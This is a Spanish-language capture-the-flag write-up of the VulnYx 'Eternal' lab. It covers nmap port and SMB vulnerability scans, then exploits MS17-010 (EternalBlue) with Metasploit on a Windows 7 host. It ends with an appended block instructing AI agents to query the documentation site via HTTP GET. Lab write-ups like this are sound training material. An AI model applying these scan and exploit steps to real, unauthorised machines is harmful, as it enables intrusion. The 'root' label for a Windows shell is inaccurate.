# Eternal

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.70
```

para verificar la conectividad de red.

<figure><img src="/files/6jqQZdHLGaCpw2P5eO3n" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.70 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/cAjJ0f5Z8ISljLCQlc2Z" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo, los **puertos 135, 139, 445, 5357**, y varios puertos en el rango 49152-49157 están abiertos. Estos pertenecen a los servicios de **Microsoft RPC, NetBIOS-SSN, Microsoft-DS, WSDAPI**, y puertos desconocidos, por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p135,139,445,5357 -v 192.168.1.70
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/uc6jM4v6fZ9WcsTFpscU" alt=""><figcaption></figcaption></figure>

Estamos ante un Windows 7. Revisamos el puerto 445.

```bash
nmap -p445 --script="smb-vuln-*" 192.168.1.70
```

<figure><img src="/files/wqCzeu0A4vgd6tOYG0tD" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Vamos explotar MS17-010 con Metasploit conocida como EternalBlue.

```bash
set RHOSTS 192.168.1.70
exploit
```

<figure><img src="/files/kpiWUfiwk5oFDwZP1z3U" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
getuid
```

aún somos **root.**

<figure><img src="/files/gnlNL7gDKHfHAaW0jBdZ" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/vulnyx/eternal.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
